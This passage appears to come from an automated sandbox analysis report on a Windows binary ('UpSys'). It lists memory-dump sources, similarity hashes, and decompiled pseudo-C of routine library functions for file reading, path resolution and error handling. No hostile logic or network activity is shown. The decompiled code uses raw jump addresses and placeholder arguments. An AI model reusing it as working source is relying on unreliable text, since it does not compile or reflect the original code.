                                                                                                                                                                                                        0x14001365b
                                                                                                                                                                                                        0x140013660
                                                                                                                                                                                                        0x14001366e
                                                                                                                                                                                                        0x140013674
                                                                                                                                                                                                        0x14001367e
                                                                                                                                                                                                        0x140013682
                                                                                                                                                                                                        0x140013689
                                                                                                                                                                                                        0x14001369d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FilePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 973152223-0
                                                                                                                                                                                                        • Opcode ID: 754686280b984b71d0c79cbd8a2e5d2345f02fdb7b01c55b32a65323ce16c518
                                                                                                                                                                                                        • Instruction ID: 02353f4ebb1c8d5baefdd05feec10a9a442def97b8c7a009b3d0b2b298c90c3a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 754686280b984b71d0c79cbd8a2e5d2345f02fdb7b01c55b32a65323ce16c518
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9121EB72305B40A6EB56CF1796843AD63A0F74C7C0F108025EB4E4BB64EF36D4A0C340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001996C Relevance: 1.6, APIs: 1, Instructions: 55COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 72%
                                                                                                                                                                                                        			E0000000114001996C(void* __ebx, void* __ecx, long long __rbx, long long __rcx, long long __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r12, void* _a8, void* _a16, void* _a24, void* _a32, signed long long _a40) {
				signed int _v24;
				void* _t13;
				void* _t19;
				intOrPtr* _t32;
				signed long long _t35;
				long long _t44;
				void* _t48;
				void* _t50;
				intOrPtr* _t51;
				long long _t60;
				void* _t63;

				_t32 = _t51;
				 *((long long*)(_t32 + 8)) = __rbx;
				 *((long long*)(_t32 + 0x10)) = __rsi;
				 *((long long*)(_t32 + 0x18)) = __rdi;
				 *((long long*)(_t32 + 0x20)) = __r12;
				_t48 = __r9;
				_t63 = __r8;
				_t44 = __rdx;
				_t60 = __rcx;
				if (__r8 == 0) goto 0x40019a08;
				if (__r9 == 0) goto 0x40019a08;
				_t35 = _a40;
				if (_t35 != 0) goto 0x400199d9;
				if (__rdx == 0xffffffff) goto 0x400199b5;
				E00000001140017520(_t13, __ecx, 0, __rcx, __rdx, __rdx);
				E0000000114001EAE4(__rdx - 0xffffffff, _t32);
				 *_t32 = 0x16;
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t32, _t35, __rcx, __rdx, _t48, _t50, __rdx);
				goto 0x40019a0a;
				E0000000114001C3EC(0, _t35);
				_v24 = _t35;
				_t19 = E0000000114001970C(_t32, _t35, _t60, _t44, _t63, _t48); // executed
				E0000000114001C47C(_t19, _t35);
				goto 0x40019a0a;
				return 0;
			}














                                                                                                                                                                                                        0x14001996c
                                                                                                                                                                                                        0x14001996f
                                                                                                                                                                                                        0x140019973
                                                                                                                                                                                                        0x140019977
                                                                                                                                                                                                        0x14001997b
                                                                                                                                                                                                        0x140019985
                                                                                                                                                                                                        0x140019988
                                                                                                                                                                                                        0x14001998b
                                                                                                                                                                                                        0x14001998e
                                                                                                                                                                                                        0x140019994
                                                                                                                                                                                                        0x140019999
                                                                                                                                                                                                        0x14001999b
                                                                                                                                                                                                        0x1400199a3
                                                                                                                                                                                                        0x1400199a9
                                                                                                                                                                                                        0x1400199b0
                                                                                                                                                                                                        0x1400199b5
                                                                                                                                                                                                        0x1400199ba
                                                                                                                                                                                                        0x1400199c0
                                                                                                                                                                                                        0x1400199c6
                                                                                                                                                                                                        0x1400199c9
                                                                                                                                                                                                        0x1400199d0
                                                                                                                                                                                                        0x1400199d7
                                                                                                                                                                                                        0x1400199dc
                                                                                                                                                                                                        0x1400199e2
                                                                                                                                                                                                        0x1400199f3
                                                                                                                                                                                                        0x1400199fe
                                                                                                                                                                                                        0x140019a06
                                                                                                                                                                                                        0x140019a24

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2918714741-0
                                                                                                                                                                                                        • Opcode ID: 9b59199c8d75bc8e24ba3c06f97464cbeeba50dda558057123dba17f774d55b8
                                                                                                                                                                                                        • Instruction ID: ef2134b1f1f66a63a8aebd2e0c8cef7cc11859fc592178bee1ff813b472874db
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9b59199c8d75bc8e24ba3c06f97464cbeeba50dda558057123dba17f774d55b8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0311063131078041EB15DB67A9007DAA295BB8EFD4F4C8225FF584BBEACE3AC0018701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400131C0 Relevance: 1.6, APIs: 1, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Param
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1698386829-0
                                                                                                                                                                                                        • Opcode ID: aac143b44e6076abe9077671e41cc00f6be5b9a7b91d9899c258d11a230649ca
                                                                                                                                                                                                        • Instruction ID: 9c2d627cc7aad84bc0ba5d3f0db1fe4051d83c9659375b72e6c4475985ec82b0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: aac143b44e6076abe9077671e41cc00f6be5b9a7b91d9899c258d11a230649ca
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6C21C336614B88C6DB119F5AD490399B3B0F788F88F698016EB8E07775CF3AD846CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140002670 Relevance: 1.6, APIs: 1, Instructions: 50fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 91%
                                                                                                                                                                                                        			E00000001140002670(long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r8) {
				intOrPtr _t19;
				void* _t35;
				void* _t36;
				long long _t41;
				void* _t44;

				 *((long long*)(_t44 + 0x10)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = _t41;
				 *((long long*)(_t44 + 0x20)) = __rsi;
				_push(_t35);
				if ( *((intOrPtr*)(__rcx + 0x10)) == 0) goto 0x40002717;
				if (__r8 == 0) goto 0x400026c3;
				_t19 =  *((intOrPtr*)(__rcx + 0x10));
				if ( *((intOrPtr*)(__rcx + 0x14)) == _t19) goto 0x400026df;
				_t36 = _t35 + 1;
				 *((char*)(_t36 + __rdx - 1)) =  *( *((intOrPtr*)(__rcx + 0x14)) +  *((intOrPtr*)(__rcx + 8))) & 0x000000ff;
				 *((intOrPtr*)(__rcx + 0x14)) =  *((intOrPtr*)(__rcx + 0x14)) + 1;
				if (_t36 - __r8 < 0) goto 0x400026a0;
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t36;
				return _t19;
			}








                                                                                                                                                                                                        0x140002670
                                                                                                                                                                                                        0x140002675
                                                                                                                                                                                                        0x14000267a
                                                                                                                                                                                                        0x14000267f
                                                                                                                                                                                                        0x140002691
                                                                                                                                                                                                        0x14000269c
                                                                                                                                                                                                        0x1400026a0
                                                                                                                                                                                                        0x1400026a6
                                                                                                                                                                                                        0x1400026b0
                                                                                                                                                                                                        0x1400026b7
                                                                                                                                                                                                        0x1400026bb
                                                                                                                                                                                                        0x1400026c1
                                                                                                                                                                                                        0x1400026c3
                                                                                                                                                                                                        0x1400026de

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FileRead
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2738559852-0
                                                                                                                                                                                                        • Opcode ID: 9d2944622acd289862b35574dab381c8ea5f40f0e716d6e2fd9310a4e6a3cac6
                                                                                                                                                                                                        • Instruction ID: 8f72bafbcaf779a2bddb5bb7c94b6ec90bb3ac1ff31014155125f2daae8100f7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9d2944622acd289862b35574dab381c8ea5f40f0e716d6e2fd9310a4e6a3cac6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AD117C76209B5086E716CF26F10035EBBA1F748FC8F144515EF8807BA8CB7AC961CB90
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140018CE4 Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 68%
                                                                                                                                                                                                        			E00000001140018CE4(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, long long __r9, void* _a8, void* _a16, void* _a24) {
				signed long long _v24;
				void* _t18;
				intOrPtr* _t28;
				void* _t40;
				void* _t44;
				void* _t46;
				intOrPtr* _t47;
				void* _t55;

				_t28 = _t47;
				 *((long long*)(_t28 + 8)) = __rbx;
				 *((long long*)(_t28 + 0x10)) = __rsi;
				 *((long long*)(_t28 + 0x18)) = __rdi;
				 *((long long*)(_t28 + 0x20)) = __r9;
				_t40 = __r8;
				_t44 = __rdx;
				_t55 = __rcx;
				if (__rdx == 0) goto 0x40018d6d;
				if (__r8 == 0) goto 0x40018d6d;
				if (__r9 != 0) goto 0x40018d43;
				E0000000114001EAE4(__r9 != 0, _t28);
				 *_t28 = 0x16;
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t28, __r9, __rcx, __rdx, __rdx, _t46, __r8);
				goto 0x40018d6f;
				E0000000114001C3EC(0, __r9);
				_t18 = E00000001140018B48(_t28, __r9, _t55, _t44, _t44, _t46, _t40, __r9); // executed
				E0000000114001C47C(_t18, __r9);
				goto 0x40018d6f;
				return 0;
			}











                                                                                                                                                                                                        0x140018ce4
                                                                                                                                                                                                        0x140018ce7
                                                                                                                                                                                                        0x140018ceb
                                                                                                                                                                                                        0x140018cef
                                                                                                                                                                                                        0x140018cf3
                                                                                                                                                                                                        0x140018d00
                                                                                                                                                                                                        0x140018d03
                                                                                                                                                                                                        0x140018d06
                                                                                                                                                                                                        0x140018d0c
                                                                                                                                                                                                        0x140018d11
                                                                                                                                                                                                        0x140018d1d
                                                                                                                                                                                                        0x140018d1f
                                                                                                                                                                                                        0x140018d24
                                                                                                                                                                                                        0x140018d2a
                                                                                                                                                                                                        0x140018d30
                                                                                                                                                                                                        0x140018d33
                                                                                                                                                                                                        0x140018d3a
                                                                                                                                                                                                        0x140018d41
                                                                                                                                                                                                        0x140018d46
                                                                                                                                                                                                        0x140018d58
                                                                                                                                                                                                        0x140018d63
                                                                                                                                                                                                        0x140018d6b
                                                                                                                                                                                                        0x140018d84

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3485708101-0
                                                                                                                                                                                                        • Opcode ID: e8db6b8ea60eb88f9c8d876082b1818d12b2806f8c720401017ca53dcfb8733c
                                                                                                                                                                                                        • Instruction ID: dd8ad632e4e0033d8ee465a584b401b3936c60b9718adbb8b7b4f0c16d70dfa6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e8db6b8ea60eb88f9c8d876082b1818d12b2806f8c720401017ca53dcfb8733c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F501B57131079541FB669B27790179AA395BB6DFC0F588421BF458FBA6DF3AC1118300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140001380 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 50%
                                                                                                                                                                                                        			E00000001140001380(long long __rbx, void* __rdx, long long _a8, intOrPtr _a32) {
				intOrPtr _v532;
				char _v536;
				void* __rdi;
				void* _t11;
				void* _t12;
				void* _t13;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t29;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t53;

				_t31 = __rbx;
				_a8 = __rbx;
				_t44 = __rdx;
				_t12 = E00000001140004300(_t11, _t23, __rbx, __rdx, _t45, _t46, _t53);
				if (_t12 == 0) goto 0x40034fb0;
				E00000001140001460();
				if (_t12 != 0) goto 0x40034fb0;
				_t13 = E00000001140011B40(_t20, _t21, _t29, _t31, _t50); // executed
				if (_t13 != 0) goto 0x40034fb0;
				GetFullPathNameW(??, ??, ??, ??);
				E000000011400107E0(_t29, 0x400c62f0,  &_v536, _t44);
				E000000011400107E0(_t29, 0x400c62d0, _a32, _t44);
				r11d = 0;
				 *((intOrPtr*)(_a32 - 2)) = r11w;
				if (_v532 == r11w) goto 0x40034fba;
				E000000011400107E0(_a32, 0x400c6310,  &_v536, _t44);
				 *0x400c62c8 = r8d;
				return 0;
			}


















                                                                                                                                                                                                        0x140001380
                                                                                                                                                                                                        0x140001380
                                                                                                                                                                                                        0x140001397
                                                                                                                                                                                                        0x14000139a
                                                                                                                                                                                                        0x1400013a1
                                                                                                                                                                                                        0x1400013ae
                                                                                                                                                                                                        0x1400013b5
                                                                                                                                                                                                        0x1400013c2
                                                                                                                                                                                                        0x1400013c9
                                                                                                                                                                                                        0x1400013e4
                                                                                                                                                                                                        0x1400013f6
                                                                                                                                                                                                        0x14000140a
                                                                                                                                                                                                        0x140001417
                                                                                                                                                                                                        0x14000141a
                                                                                                                                                                                                        0x140001425
                                                                                                                                                                                                        0x140001437
                                                                                                                                                                                                        0x14000143c
                                                                                                                                                                                                        0x140001454

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FullNamePath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 608056474-0
                                                                                                                                                                                                        • Opcode ID: 79a79fd8b69d133c831fa10cba0555cd870454c2b407628f1dfff46d86b420ab
                                                                                                                                                                                                        • Instruction ID: fd6e2cdf866347a73401a3f49cda40a5b5de12a8f7424164657e7d13ded1bbf1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 79a79fd8b69d133c831fa10cba0555cd870454c2b407628f1dfff46d86b420ab
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 09214F71218A8591EB23DF22F8943DAA365F78C3C4F844121FB4D4B5B6EA7CCA48C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015270 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 48%
                                                                                                                                                                                                        			E00000001140015270(long long __rbx, void* __rcx, long long __rdx, char _a8, long long _a16, char _a24) {
				char _v536;
				long long _t23;
				void* _t26;
				void* _t36;
				void* _t37;

				_a16 = __rbx;
				_t23 = __rdx;
				_t26 = __rcx;
				GetFullPathNameW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rcx + 0x40)) - _t36 > 0) goto 0x400316c0;
				E00000001140015220(__rdx, __rcx,  &_v536); // executed
				_a24 = _t23;
				E00000001140015300(_t23, _t26, _t26 + 0x30,  &_a24, _t37);
				_a8 = 1;
				return E000000011400153B0(_t23, _t26, _t26 + 0x50,  &_a8, _t37) - 1;
			}








                                                                                                                                                                                                        0x140015270
                                                                                                                                                                                                        0x14001527d
                                                                                                                                                                                                        0x140015280
                                                                                                                                                                                                        0x140015298
                                                                                                                                                                                                        0x1400152a4
                                                                                                                                                                                                        0x1400152af
                                                                                                                                                                                                        0x1400152c0
                                                                                                                                                                                                        0x1400152c8
                                                                                                                                                                                                        0x1400152d9
                                                                                                                                                                                                        0x1400152ff

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FullNamePath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 608056474-0
                                                                                                                                                                                                        • Opcode ID: bed1a3f9d8325796316fcc8b91fa6022409fedac46871fa256a6fd4873af2f47
                                                                                                                                                                                                        • Instruction ID: bcc09f2d2afe4d4601c68623083c5a512322a54b840474fed93f331de1cad915
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bed1a3f9d8325796316fcc8b91fa6022409fedac46871fa256a6fd4873af2f47
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C6113A32214A85C2DB21DF6AE5843EE63A5F7CCBC8F844112EB4D4B6A9DF79C545C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003F2D0 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E0000000114003F2D0(void* __ecx, void* __rax, long long __rbx, void* __rcx, signed int* __rdx, void* __r8, char _a8, signed int _a12, signed int _a13, signed int _a14, signed int _a15, long long _a16) {

				_t50 = __rdx;
				_a16 = __rbx;
				_t2 =  &(_t50[1]); // 0x8
				r8d = _t2;
				if ( *((intOrPtr*)(__rcx + 0x1c)) != 1) goto 0x4003f301;
				E00000001140016710(__ecx,  *((intOrPtr*)(__rcx + 0x1c)) - 1,  &_a8, __rdx +  *((intOrPtr*)(__rcx + 8)), __r8);
				goto 0x4003f30f;
				E00000001140019A28(__rdx +  *((intOrPtr*)(__rcx + 8)), __r8,  *((intOrPtr*)( &_a8 + 0x28))); // executed
				 *((intOrPtr*)(__rcx + 0x14)) =  *((intOrPtr*)(__rcx + 0x14)) + 8;
				_a12 = 0;
				 *__rdx = (((_a12 & 0x000000ff) << 0x00000008 | _a13 & 0x000000ff) << 0x00000008 | _a14 & 0x000000ff) << 0x00000008 | _a15 & 0x000000ff;
				return 0 | E00000001140019A60((((_a12 & 0x000000ff) << 0x00000008 | _a13 & 0x000000ff) << 0x00000008 | _a14 & 0x000000ff) << 0x00000008 | _a15 & 0x000000ff,  &_a8, 0x4009e820) != 0x00000000;
			}



                                                                                                                                                                                                        0x14003f2d0
                                                                                                                                                                                                        0x14003f2d0
                                                                                                                                                                                                        0x14003f2e5
                                                                                                                                                                                                        0x14003f2e5
                                                                                                                                                                                                        0x14003f2ec
                                                                                                                                                                                                        0x14003f2fa
                                                                                                                                                                                                        0x14003f2ff
                                                                                                                                                                                                        0x14003f30a
                                                                                                                                                                                                        0x14003f319
                                                                                                                                                                                                        0x14003f330
                                                                                                                                                                                                        0x14003f343
                                                                                                                                                                                                        0x14003f360

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
